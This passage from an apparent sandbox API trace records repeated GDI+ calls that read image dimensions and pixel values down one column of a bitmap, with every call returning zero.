(image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.005] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=129, color=0x19eed4) returned 0x0 [0159.005] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.005] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.005] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=130, color=0x19eed4) returned 0x0 [0159.005] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.005] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.005] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=131, color=0x19eed4) returned 0x0 [0159.005] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.005] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.005] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=132, color=0x19eed4) returned 0x0 [0159.006] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.006] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.006] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=133, color=0x19eed4) returned 0x0 [0159.006] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.006] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.006] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=134, color=0x19eed4) returned 0x0 [0159.006] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.006] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.006] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=135, color=0x19eed4) returned 0x0 [0159.006] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.006] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.006] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=136, color=0x19eed4) returned 0x0 [0159.006] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.006] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.006] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=137, color=0x19eed4) returned 0x0 [0159.006] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.006] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.006] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=138, color=0x19eed4) returned 0x0 [0159.006] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.006] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.007] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=139, color=0x19eed4) returned 0x0 [0159.007] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.007] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.007] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=140, color=0x19eed4) returned 0x0 [0159.007] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.007] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.007] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=141, color=0x19eed4) returned 0x0 [0159.007] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.007] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.007] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=142, color=0x19eed4) returned 0x0 [0159.007] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.007] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.007] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=143, color=0x19eed4) returned 0x0 [0159.007] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.008] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.008] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=144, color=0x19eed4) returned 0x0 [0159.008] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.008] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.008] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=145, color=0x19eed4) returned 0x0 [0159.008] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.008] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.008] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=146, color=0x19eed4) returned 0x0 [0159.008] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.008] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.008] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=147, color=0x19eed4) returned 0x0 [0159.008] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.008] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.008] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=148, color=0x19eed4) returned 0x0 [0159.008] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.008] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.008] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=149, color=0x19eed4) returned 0x0 [0159.008] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.008] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.008] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=150, color=0x19eed4) returned 0x0 [0159.008] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.009] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.009] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=151, color=0x19eed4) returned 0x0 [0159.009] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.009] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.009] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=152, color=0x19eed4) returned 0x0 [0159.009] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.009] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.009] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=153, color=0x19eed4) returned 0x0 [0159.009] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.009] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.009] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=154, color=0x19eed4) returned 0x0 [0159.009] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.009] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.009] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=155, color=0x19eed4) returned 0x0 [0159.009] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.009] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.009] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=156, color=0x19eed4) returned 0x0 [0159.009] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.010] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.010] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=157, color=0x19eed4) returned 0x0 [0159.010] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.010] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.010] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=158, color=0x19eed4) returned 0x0 [0159.010] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.010] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.010] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=159, color=0x19eed4) returned 0x0 [0159.010] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.010] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.010] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=160, color=0x19eed4) returned 0x0 [0159.010] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.010] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.010] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=161, color=0x19eed4) returned 0x0 [0159.010] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.010] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.010] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=162, color=0x19eed4) returned 0x0 [0159.010] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.010] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.011] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=163, color=0x19eed4) returned 0x0 [0159.011] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.011] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.011] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=164, color=0x19eed4) returned 0x0 [0159.011] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.011] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.011] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=165, color=0x19eed4) returned 0x0 [0159.011] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.011] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.011] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=166, color=0x19eed4) returned 0x0 [0159.011] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.011] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.011] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=167, color=0x19eed4) returned 0x0 [0159.011] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.011] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.011] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=168, color=0x19eed4) returned 0x0 [0159.011] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.011] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.011] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=169, color=0x19eed4) returned 0x0 [0159.011] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.012] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.012] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=170, color=0x19eed4) returned 0x0 [0159.012] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.012] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.012] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=171, color=0x19eed4) returned 0x0 [0159.012] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.012] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.012] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=172, color=0x19eed4) returned 0x0 [0159.012] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.012] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.012] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=173, color=0x19eed4) returned 0x0 [0159.012] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.012] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.012] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=174, color=0x19eed4) returned 0x0 [0159.012] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.012] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.012] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=175, color=0x19eed4) returned 0x0 [0159.012] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.012] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.012] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=176, color=0x19eed4) returned 0x0 [0159.013] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.013] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.013] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=177, color=0x19eed4) returned 0x0 [0159.013] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.013] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.013] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=178, color=0x19eed4) returned 0x0 [0159.013] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.013] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.013] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=179, color=0x19eed4) returned 0x0 [0159.013] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.013] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.013] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=180, color=0x19eed4) returned 0x0 [0159.013] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.013] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.013] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=181, color=0x19eed4) returned 0x0 [0159.013] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.013] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.013] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=182, color=0x19eed4) returned 0x0 [0159.014] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.014] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.014] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=183, color=0x19eed4) returned 0x0 [0159.014] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.014] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.014] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=184, color=0x19eed4) returned 0x0 [0159.014] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.014] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.014] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=185, color=0x19eed4) returned 0x0 [0159.014] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.014] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.014] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=186, color=0x19eed4) returned 0x0 [0159.014] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.014] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.014] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=187, color=0x19eed4) returned 0x0 [0159.014] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.014] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.014] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=188, color=0x19eed4) returned 0x0 [0159.015] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.015] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.015] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=189, color=0x19eed4) returned 0x0 [0159.015] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.015] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.015] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=190, color=0x19eed4) returned 0x0 [0159.015] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.015] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.015] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=191, color=0x19eed4) returned 0x0 [0159.015] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.015] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.015] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=192, color=0x19eed4) returned 0x0 [0159.015] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.015] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.015] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=193, color=0x19eed4) returned 0x0 [0159.016] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.016] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.016] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=194, color=0x19eed4) returned 0x0 [0159.016] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.016] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.016] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=195, color=0x19eed4) returned 0x0 [0159.016] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.016] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.016] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=196, color=0x19eed4) returned 0x0 [0159.016] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.016] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.016] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=197, color=0x19eed4) returned 0x0 [0159.016] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.016] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.016] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=198, color=0x19eed4) returned 0x0 [0159.016] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.016] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.016] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=199, color=0x19eed4) returned 0x0 [0159.016] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.016] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.016] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=200, color=0x19eed4) returned 0x0 [0159.017] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.017] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.017] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=201, color=0x19eed4) returned 0x0 [0159.017] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.017] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.017] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=202, color=0x19eed4) returned 0x0 [0159.017] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.017] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.017] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=203, color=0x19eed4) returned 0x0 [0159.017] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.017] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.017] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=204, color=0x19eed4) returned 0x0 [0159.017] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.017] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.017] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=205, color=0x19eed4) returned 0x0 [0159.017] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.017] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.017] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=206, color=0x19eed4) returned 0x0 [0159.017] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.017] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.017] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=207, color=0x19eed4) returned 0x0 [0159.017] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.018] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.018] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=208, color=0x19eed4) returned 0x0 [0159.018] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.018] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.018] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=209, color=0x19eed4) returned 0x0 [0159.018] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.018] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.018] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=210, color=0x19eed4) returned 0x0 [0159.018] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.018] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.018] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=211, color=0x19eed4) returned 0x0 [0159.018] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.018] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.018] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=212, color=0x19eed4) returned 0x0 [0159.018] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.018] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.018] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=213, color=0x19eed4) returned 0x0 [0159.018] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.018] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.018] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=214, color=0x19eed4) returned 0x0 [0159.018] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.018] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.019] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=215, color=0x19eed4) returned 0x0 [0159.019] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.019] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.019] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=216, color=0x19eed4) returned 0x0 [0159.019] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.019] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.019] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=217, color=0x19eed4) returned 0x0 [0159.019] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.019] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.019] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=218, color=0x19eed4) returned 0x0 [0159.019] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.019] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.019] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=219, color=0x19eed4) returned 0x0 [0159.019] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.019] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.019] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=220, color=0x19eed4) returned 0x0 [0159.019] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.020] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.020] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=221, color=0x19eed4) returned 0x0 [0159.020] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.020] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.020] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=222, color=0x19eed4) returned 0x0 [0159.020] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.020] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.020] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=223, color=0x19eed4) returned 0x0 [0159.020] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.020] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.020] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=224, color=0x19eed4) returned 0x0 [0159.020] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.020] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.020] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=225, color=0x19eed4) returned 0x0 [0159.020] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.020] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.020] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=226, color=0x19eed4) returned 0x0 [0159.020] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.020] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.020] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=227, color=0x19eed4) returned 0x0 [0159.020] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.021] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.021] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=228, color=0x19eed4) returned 0x0 [0159.021] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.021] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.021] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=229, color=0x19eed4) returned 0x0 [0159.021] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.021] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.021] GdipBitmapGetPixel 